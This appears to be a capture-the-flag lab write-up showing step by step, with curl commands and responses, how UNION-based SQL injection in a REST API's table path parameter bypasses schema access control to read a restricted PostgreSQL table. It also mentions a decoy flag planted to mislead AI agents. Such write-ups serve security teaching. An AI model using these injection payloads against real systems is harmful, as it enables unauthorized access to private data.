Lab 267 — RestForge — SQL Injection in Dynamic Data Endpoint
Lab 267 — RestForge — SQL Injection in Dynamic Data Endpoint
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: decoy_flag_identification, information_schema_enumeration, jwt_authentication, postgresql_type_casting, schema_access_control_bypass, union_based_sql_injection
Summary
Task: RestForge auto-generates REST endpoints from PostgreSQL; /api/data/:schema/:table has unsanitized table path parameter. Solution: UNION-based SQL injection with type casting to bypass application-level schema access control and extract flag from admin.internal_secrets table.
Lab 267 — RestForge — SQL Injection in Dynamic Data Endpoint — HackAdvisor
Description
RestForge is an API platform by ForgeStack Inc. that automatically generates REST endpoints from your PostgreSQL database. It provides a dashboard for managing API keys, browsing available endpoints via a schema explorer, and querying data through dynamic REST paths. The platform serves data from a PostgreSQL database and supports JWT-based authentication as well as API key access. Developers use it to quickly build APIs without writing backend code — simply point it at a database and it exposes tables as REST endpoints.
Your goal is to find and exploit a vulnerability in the API layer that allows you to access restricted data stored in a database schema that should not be accessible to regular users.
Credentials: user / password123
English summary: A REST API platform that auto-generates endpoints from PostgreSQL tables. The /api/data/:schema/:table endpoint interpolates the table path parameter directly into SQL without sanitization. An admin schema exists with restricted tables including internal_secrets, but access control is enforced at the application layer only. UNION-based SQL injection bypasses this restriction since the query executes with full database privileges.
Analysis
Application Overview
- RestForge v2.4 running on nginx/1.25.5
- Dashboard stats: 4 database tables in public schema, 25 records, 8 users, 12 API endpoints
- JWT-based authentication (
Authorization: Bearer <token>) and API key access (X-API-Key: rf_...)
API Endpoints (from /docs)
| Endpoint | Method | Purpose |
|---|---|---|
/api/auth/login | POST | Authenticate, receive JWT |
/api/schemas | GET | List available schemas |
/api/tables/:schema | GET | List tables in a schema |
/api/data/:schema/:table | GET | Query data (supports ?limit and ?offset) |
/api/keys | POST | Create API keys |
Schema Enumeration
GET /api/schemas→ two schemas:publicandadminGET /api/tables/public→ 5 tables:api_keys,categories,orders,products,usersGET /api/tables/admin→ 3 tables:audit_log(50 rows),internal_secrets(1 row),system_config(10 rows)- Direct access blocked:
GET /api/data/admin/internal_secrets→{"error":"Access denied","message":"Schema not accessible via API"}
Key Vulnerability
The table path parameter in /api/data/:schema/:table is directly interpolated into the SQL query without parameterization. The underlying query is approximately:
sql read-only • copy allowedSELECT * FROM "public"."<TABLE_INPUT>" LIMIT 50 OFFSET 0
Access control for the admin schema is enforced at the application level (checking the schema parameter), but the SQL query itself runs with full database privileges — meaning a UNION injection can read from any schema.
Decoy Flag
HTML pages contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments and invisible divs, designed to trick automated scanners and AI agents. This was NOT the real flag.
Solution
Step 1: Authenticate and Get JWT
bash read-only • copy allowedTARGET="https://87dc1ccb-139c-47b1-813d-9752c7c2a9fe.labs.hackadvisor.io" TOKEN=$(curl -sk -X POST "$TARGET/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"username":"user","password":"password123"}' | jq -r '.token')
Step 2: Confirm SQL Injection
bash read-only • copy allowed# Single quote triggers PostgreSQL error — confirms injection curl -sk "$TARGET/api/data/public/users'" \ -H "Authorization: Bearer $TOKEN" # Response: {"error":"pq: unterminated quoted string at or near \"' LIMIT 50 OFFSET 0\""} # SQL comment works — normal data returned curl -sk "$TARGET/api/data/public/users--" \ -H "Authorization: Bearer $TOKEN"
Step 3: Determine Column Count for UNION
The users table has 10 columns (id, username, email, password_hash, full_name, role, is_active, timezone, created_at, last_login). The first column (id) is integer, others are varchar/text/boolean/timestamp.
bash read-only • copy allowed# 10 NULLs match the column count curl -sk "$TARGET/api/data/public/users%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--" \ -H "Authorization: Bearer $TOKEN"
Step 4: Enumerate admin.internal_secrets Columns
bash read-only • copy allowedcurl -sk "$TARGET/api/data/public/users%20WHERE%201=2%20UNION%20SELECT%201,column_name::varchar,data_type::varchar,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20information_schema.columns%20WHERE%20table_schema='admin'%20AND%20table_name='internal_secrets'--" \ -H "Authorization: Bearer $TOKEN"
Discovered columns:
| Column | Type |
|---|---|
id | integer |
key_name | varchar |
value | text |
classification | varchar |
created_at | timestamp |
| |
Step 5: Extract the Flag
bash read-only • copy allowedcurl -sk "$TARGET/api/data/public/users%20WHERE%201=2%20UNION%20SELECT%20id,key_name::varchar,value::varchar,classification::varchar,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20admin.internal_secrets--" \ -H "Authorization: Bearer $TOKEN"
Response:
json read-only • copy allowed{ "count": 1, "data": [ { "id": 1, "username": "platform_master_key", "email": "FLAG{REDACTED}", "password_hash": "TOP SECRET" } ] }
The flag was stored in the value column of admin.internal_secrets with key_name = "platform_master_key" and classification = "TOP SECRET". The response field names (username, email, password_hash) are from the original users table column aliases — the UNION maps the injected columns positionally.